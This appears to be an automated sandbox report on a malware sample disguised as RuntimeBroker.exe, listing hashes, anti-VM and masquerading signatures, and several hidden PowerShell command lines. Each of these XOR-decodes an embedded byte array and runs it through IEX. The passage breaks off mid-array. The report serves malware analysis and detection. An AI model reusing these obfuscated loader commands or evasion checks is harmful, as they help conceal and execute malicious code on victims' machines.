4c6a47b1307f576a926c77e6f547c2e2318cc9ca5694550bce49762dab5fbe92

Analysis

max time kernel
148s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
RuntimeBroker.exe
Size 796KB
Sample260930-ryyffswbje
SHA256 4c6a47b1307f576a926c77e6f547c2e2318cc9ca5694550bce49762dab5fbe92
MD5 5ea30a57c6a3a6c8401a0b5d3433c7fd
SHA1 3212dd12422118de10b4772164c07b28d658ae79
SHA512 e4acf4fefeb79de892655a76698b630ca61529d794f029c9195a04b223472ea6e5131eb4b1c1d78179cf41efd4e3aa565c8f148ffb5310299dc032e04a7a07f4
SSDEEP 12288:Yo7gxpxzTedtQUOF4s3OeF7Fpya3JtDt1IWW0yk8a8URYiDSn2lbSb:Yo7upxzTedted7Fpn3nZLh8aeiGn2S
TLSH
T1C805BF45F2FD41F8D07BD1389686AA0FEA363809072025DB63E046987FB77F45BB6612
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4320	powershell.exe
5	3320	powershell.exe
6	2980	powershell.exe
7	3176	powershell.exe
8	3416	powershell.exe
9	4880	powershell.exe
10	5552	powershell.exe
11	2096	powershell.exe
12	3524	powershell.exe
16	3740	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2980	powershell.exe
3416	powershell.exe
4320	powershell.exe
3524	powershell.exe
3320	powershell.exe
2096	powershell.exe
5552	powershell.exe
4880	powershell.exe
3176	powershell.exe
3740	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 2 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe	RuntimeBroker.exe
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe

Executes dropped EXE 1 IoCs

pid	Process
4896	RuntimeBroker.exe

Enumerates connected drives 3 TTPs 10 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2980	powershell.exe
2980	powershell.exe
3176	powershell.exe
3176	powershell.exe
3416	powershell.exe
3416	powershell.exe
4880	powershell.exe
4880	powershell.exe
5552	powershell.exe
5552	powershell.exe
3524	powershell.exe
3524	powershell.exe
2096	powershell.exe
2096	powershell.exe
4320	powershell.exe
4320	powershell.exe
3740	powershell.exe
3740	powershell.exe
3320	powershell.exe
3320	powershell.exe
4320	powershell.exe
2980	powershell.exe
3320	powershell.exe
3176	powershell.exe
3416	powershell.exe
4880	powershell.exe
5552	powershell.exe
2096	powershell.exe
3524	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	3416	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	5552	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	4320	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	3320	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4872 wrote to memory of 5552	4872	RuntimeBroker.exe	90
PID 4872 wrote to memory of 4880	4872	RuntimeBroker.exe	91
PID 4872 wrote to memory of 3176	4872	RuntimeBroker.exe	92
PID 4872 wrote to memory of 3416	4872	RuntimeBroker.exe	93
PID 4872 wrote to memory of 2980	4872	RuntimeBroker.exe	94
PID 4872 wrote to memory of 4896	4872	RuntimeBroker.exe	100
PID 4896 wrote to memory of 2096	4896	RuntimeBroker.exe	101
PID 4896 wrote to memory of 3320	4896	RuntimeBroker.exe	102
PID 4896 wrote to memory of 3524	4896	RuntimeBroker.exe	103
PID 4896 wrote to memory of 4320	4896	RuntimeBroker.exe	104
PID 4896 wrote to memory of 3740	4896	RuntimeBroker.exe	105

C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
1⤵
- Executes a file named after a Windows system binary
- Suspicious use of WriteProcessMemory
PID:4872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$aq='I';$aq+='E'+'X';$vf=3+2;$mn=[byte[]]@(0x5c,0x24,0x54,0x03,0x71,0x24,0x50,0x4a,0x11,0x21,0x1d,0x31,0x74,0x08,0x04,0x0d,0x10,0x72,0x4e,0x7b,0x01,0x01,0x7b,0x58,0x19,0x17,0x21,0x03,0x0d,0x0f,0x24,0x2b,0x3d,0x0e,0x26,0x41,0x2b,0x2e,0x5a,0x07,0x19,0x12,0x07,0x37,0x2d,0x2d,0x04,0x15,0x3a,0x3d,0x11,0x13,0x0d,0x38,0x53,0x11,0x31,0x64,0x2f,0x21,0x3d,0x31,0x11,0x10,0x17,0x3c,0x1a,0x14,0x63,0x36,0x12,0x14,0x78,0x75,0x13,0x7e,0x30,0x3e,0x4d,0x2d,0x1d,0x21,0x1d,0x1e,0x1a,0x2c,0x42,0x0a,0x65,0x63,0x26,0x0e,0x15,0x15,0x5f,0x25,0x2b,0x1d,0x2f,0x67,0x1d,0x0c,0x64,0x27,0x19,0x12,0x23,0x32,0x38,0x2a,0x00,0x55,0x58,0x1b,0x07,0x50,0x64,0x11,0x60,0x2f,0x32,0x25,0x1c,0x20,0x79,0x0c,0x0a,0x16,0x14,0x21,0x4e,0x1a,0x31,0x69,0x40,0x5f,0x74,0x39,0x55,0x2c)+[byte[]]@(0x3f,0x70,0x31,0x1c,0x0b,0x26,0x44,0x63,0x2b,0x39,0x5e,0x42,0x62,0x0c,0x25,0x09,0x14,0x62,0x39,0x31,0x39,0x00,0x2d,0x64,0x0b,0x1f,0x73,0x3e,0x04,0x07,0x3e,0x0c,0x05,0x1c,0x36,0x3d,0x2c,0x0e,0x3f,0x71,0x05,0x15,0x69,0x3d,0x62,0x6d,0x15,0x61,0x2f,0x65,0x54,0x04,0x43,0x3b,0x0f,0x1b,0x67,0x23,0x59,0x16,0x65,0x60,0x18,0x6c,0x22,0x7c,0x15,0x44,0x32,0x3d,0x00,0x5d,0x67,0x1d,0x57,0x16,0x2d,0x64,0x4a,0x20,0x37,0x2e,0x5f,0x2d,0x3d,0x1f,0x39,0x13,0x62,0x16,0x7f,0x2d,0x6b,0x14,0x0f,0x31,0x31,0x05,0x5f,0x43,0x3f,0x37,0x1d,0x61,0x2b,0x23,0x52,0x0d,0x28,0x02,0x07,0x29,0x3c,0x16,0x04,0x14,0x1d,0x7a,0x40,0x18,0x6d,0x63,0x53,0x1a,0x20,0x63,0x47,0x7e,0x2d,0x2a,0x1c,0x02,0x31,0x3c,0x1f,0x5c,0x21,0x28,0x1b,0x35,0x20)+[byte[]]@(0x26,0x3c,0x20,0x28,0x2d,0x00,0x0a,0x0c,0x72,0x44,0x66,0x38,0x24,0x16,0x45,0x2d,0x30,0x1a,0x35,0x63,0x77,0x4a,0x4e,0x40,0x7c,0x58,0x06,0x7e,0x63,0x07,0x52,0x76,0x6a,0x5c,0x75,0x63,0x69,0x56,0x48,0x4b,0x67,0x46,0x40,0x3e,0x2c,0x51,0x07,0x62,0x64,0x43,0x0a,0x2c,0x2c,0x23,0x10,0x14,0x37,0x49,0x17,0x3a,0x6d,0x1b,0x37,0x36,0x21,0x2c,0x24,0x2a,0x31,0x06,0x29,0x19,0x20,0x1a,0x5a,0x24,0x2a,0x4b,0x01,0x24,0x30,0x0d,0x2d,0x22,0x25,0x5e,0x10,0x1e,0x7a,0x3d,0x56,0x39,0x39,0x1b,0x32,0x24,0x30,0x06,0x65,0x7d,0x28,0x4c,0x02,0x2b,0x26,0x08,0x41,0x3e,0x60,0x66,0x10,0x2a,0x27,0x0b,0x36,0x2a,0x78,0x41,0x09,0x58,0x7f,0x3e,0x5a,0x24,0x29,0x59,0x15,0x16,0x30,0x17,0x29,0x3c,0x78,0x2d,0x10,0x1c,0x36,0x0c,0x5d,0x37,0x30);$qu=([Text.Encoding]::ASCII.GetBytes('xRi3JM6bEDnEYXey'))*27;$nc=New-Object byte[] $mn.Length;for($dj=0;$dj-lt$mn.Length;$dj++){$nc[$dj]=$mn[$dj]-bxor$qu[$dj]};$iw=[Text.Encoding]::UTF8.GetString($nc);try{& $aq $iw}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$yi='I';$yi+='E'+'X';$qk=5+8;$r=[byte[]]@(0x16,0x1f,0x4a,0x5e,0x58,0x1c,0x20,0x49,0x3d,0x21,0x21,0x42,0x48,0x26,0x0c,0x41,0x3b,0x4a,0x14,0x2d,0x73,0x7e,0x24,0x4d,0x32,0x30,0x3a,0x00,0x35,0x3e,0x05,0x00,0x73,0x39,0x39,0x1f,0x54,0x30,0x06,0x56,0x39,0x6e,0x5b,0x1b,0x03,0x1b,0x02,0x19,0x04,0x0e,0x11,0x64,0x15,0x43,0x00,0x05,0x19,0x15,0x12,0x0e,0x57,0x0c,0x4c,0x5b,0x06,0x19,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f,0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x36,0x39,0x2b,0x61,0x04,0x2b,0x61,0x20,0x64,0x64,0x24,0x00,0x0f,0x11,0x10,0x6a,0x41,0x20,0x2a,0x31,0x18,0x39,0x20,0x20,0x42,0x32,0x18,0x56,0x45,0x6c,0x5d,0x06,0x1b,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f)+[byte[]]@(0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x2d,0x37,0x3f,0x71,0x04,0x2b,0x61,0x20,0x64,0x73,0x2a,0x27,0x27,0x3f,0x31,0x15,0x25,0x3d,0x18,0x04,0x74,0x2a,0x2e,0x32,0x6a,0x74,0x43,0x48,0x41,0x4e,0x0f,0x58,0x0a,0x55,0x0a,0x13,0x6e,0x4c,0x07,0x2b,0x26,0x16,0x41,0x00,0x44,0x4e,0x77,0x1a,0x0e,0x2f,0x57,0x5b,0x07,0x5a,0x3e,0x02,0x01,0x2e,0x41,0x4d,0x21,0x3c,0x40,0x5f,0x22,0x28,0x78,0x03,0x4a,0x1b,0x3e,0x71,0x7d,0x47,0x27,0x0f,0x17,0x1d,0x1b,0x5b,0x53,0x03,0x37,0x42,0x37,0x17,0x03,0x51,0x3c,0x07,0x75,0x0c,0x54,0x57,0x27,0x16,0x03,0x06,0x5d,0x6f,0x4a,0x4e,0x6a,0x37,0x4e,0x00,0x51,0x44,0x0e,0x27,0x18,0x4a,0x1e,0x71,0x5c,0x1f,0x18,0x05,0x06,0x58,0x11,0x04)+[byte[]]@(0x0b,0x16,0x37,0x47,0x10,0x13,0x1e,0x41,0x73,0x47,0x66,0x17,0x51,0x12,0x4e,0x1f,0x1a,0x17,0x05,0x7c,0x4e,0x46,0x73,0x6a,0x18,0x54,0x43,0x59,0x1b,0x62,0x5a,0x00,0x4b,0x0a,0x02,0x53,0x46,0x5d,0x52,0x46,0x73,0x4e,0x1a,0x30,0x33,0x51,0x00,0x51,0x4d,0x18,0x1c,0x1f,0x47,0x23,0x51,0x5e,0x0c,0x57,0x4a,0x13,0x55,0x6b,0x34,0x1a,0x21,0x10,0x57,0x16,0x1f,0x0e,0x65,0x32,0x18,0x40,0x0c,0x56,0x55,0x14,0x14,0x0f,0x17,0x16,0x2e,0x1a,0x14,0x7f,0x3b,0x50,0x4d,0x22,0x08,0x46,0x27,0x47,0x63,0x04,0x4c,0x5a,0x49,0x53,0x1e,0x4a,0x0e,0x15,0x15,0x08,0x36,0x26,0x1b,0x35,0x04,0x02,0x56,0x36,0x19,0x40,0x45,0x1c,0x42,0x49,0x5a,0x39,0x0a,0x1b,0x22,0x0e,0x1e,0x17,0x26,0x4f,0x09,0x13,0x4d,0x7d,0x3a,0x0e,0x57,0x00,0x56,0x4f,0x14);$s=([Text.Encoding]::ASCII.GetBytes('2iwncuFaiDR6evm5Sj3e8'))*21;$sy=New-Object byte[] $r.Length;for($eg=0;$eg-lt$r.Length;$eg++){$sy[$eg]=$r[$eg]-bxor$s[$eg]};$fv=[Text.Encoding]::UTF8.GetString($sy);try{& $yi $fv}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$j='I';$j+='E'+'X';$h=1+8;$ac=[byte[]]@(0x12,0x32,0x55,0x42,0x48,0x1a,0x09,0x52,0x13,0x37,0x39,0x27,0x1a,0x63,0x20,0x30,0x31,0x6a,0x6b,0x2e,0x7d,0x08,0x25,0x48,0x2f,0x20,0x20,0x3c,0x13,0x05,0x0b,0x01,0x72,0x6f,0x0e,0x36,0x38,0x29,0x20,0x03,0x6a,0x12,0x01,0x00,0x07,0x06,0x0e,0x16,0x05,0x3d,0x32,0x73,0x70,0x46,0x24,0x37,0x2d,0x6a,0x0d,0x02,0x52,0x2d,0x1c,0x1b,0x1c,0x1d,0x1c,0x5d,0x6e,0x29,0x6e,0x25,0x0a,0x02,0x3c,0x7f,0x30,0x2c,0x64,0x32,0x53,0x37,0x1c,0x5f,0x23,0x12,0x1b,0x12,0x67,0x75,0x02,0x18,0x7b,0x7e,0x7b,0x18,0x0a,0x05,0x0a,0x32,0x61,0x05,0x3a,0x37,0x2f,0x25,0x22,0x0d,0x26,0x20,0x2f,0x7f,0x17,0x7a,0x2f,0x27,0x77,0x16,0x1a,0x2b,0x41,0x25,0x1a,0x17,0x53,0x27,0x00,0x15,0x2b,0x21,0x6d,0x7a,0x4c,0x17,0x37,0x79,0x68,0x37,0x77,0x0f)+[byte[]]@(0x50,0x6c,0x3c,0x17,0x00,0x07,0x42,0x2a,0x26,0x26,0x22,0x73,0x10,0x7b,0x0a,0x08,0x14,0x70,0x10,0x2e,0x77,0x16,0x2c,0x25,0x32,0x21,0x2a,0x26,0x06,0x11,0x1a,0x1a,0x6b,0x77,0x12,0x00,0x0d,0x16,0x1a,0x24,0x79,0x1c,0x37,0x2d,0x54,0x5a,0x14,0x5e,0x31,0x6f,0x7b,0x2e,0x0c,0x5a,0x27,0x6c,0x74,0x24,0x23,0x12,0x16,0x60,0x1e,0x5b,0x08,0x57,0x1f,0x47,0x0d,0x3d,0x23,0x3d,0x1a,0x63,0x20,0x30,0x31,0x6a,0x68,0x03,0x58,0x32,0x52,0x26,0x36,0x3e,0x3f,0x5a,0x6f,0x09,0x03,0x1c,0x19,0x63,0x20,0x30,0x31,0x17,0x76,0x5c,0x71,0x21,0x1c,0x20,0x12,0x1d,0x0b,0x15,0x2a,0x14,0x23,0x3f,0x52,0x7d,0x20,0x29,0x3c,0x62,0x65,0x4d,0x11,0x6a,0x0d,0x0a,0x16,0x54,0x46,0x41,0x33,0x20,0x33,0x28,0x7e,0x5d,0x37,0x2b,0x32,0x2f,0x61,0x31,0x53)+[byte[]]@(0x26,0x3a,0x17,0x02,0x06,0x0a,0x09,0x33,0x72,0x67,0x06,0x45,0x5a,0x61,0x63,0x31,0x3e,0x38,0x16,0x0c,0x6b,0x47,0x45,0x4b,0x5d,0x5e,0x4f,0x73,0x7c,0x7b,0x63,0x04,0x1d,0x73,0x74,0x63,0x7b,0x7f,0x57,0x05,0x71,0x47,0x01,0x07,0x12,0x08,0x1f,0x60,0x72,0x67,0x1c,0x42,0x47,0x07,0x2d,0x35,0x2f,0x6c,0x42,0x46,0x64,0x45,0x27,0x00,0x16,0x2d,0x1b,0x34,0x3b,0x29,0x03,0x56,0x41,0x32,0x2d,0x37,0x2d,0x31,0x05,0x57,0x30,0x0b,0x1a,0x08,0x0e,0x54,0x13,0x21,0x7a,0x1e,0x36,0x44,0x47,0x6c,0x14,0x38,0x3e,0x24,0x46,0x12,0x34,0x41,0x09,0x20,0x07,0x0e,0x08,0x33,0x7f,0x1a,0x21,0x58,0x50,0x24,0x37,0x2a,0x6a,0x68,0x16,0x16,0x69,0x3f,0x1b,0x1d,0x17,0x00,0x0d,0x14,0x26,0x33,0x3f,0x52,0x13,0x09,0x2d,0x3d,0x2e,0x29,0x08,0x4b,0x39);$c=([Text.Encoding]::ASCII.GetBytes('6DhrssozGRJS73ADYJLf'))*22;$g=New-Object byte[] $ac.Length;for($zs=0;$zs-lt$ac.Length;$zs++){$g[$zs]=$ac[$zs]-bxor$c[$zs]};$yc=[Text.Encoding]::UTF8.GetString($g);try{& $j $yc}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2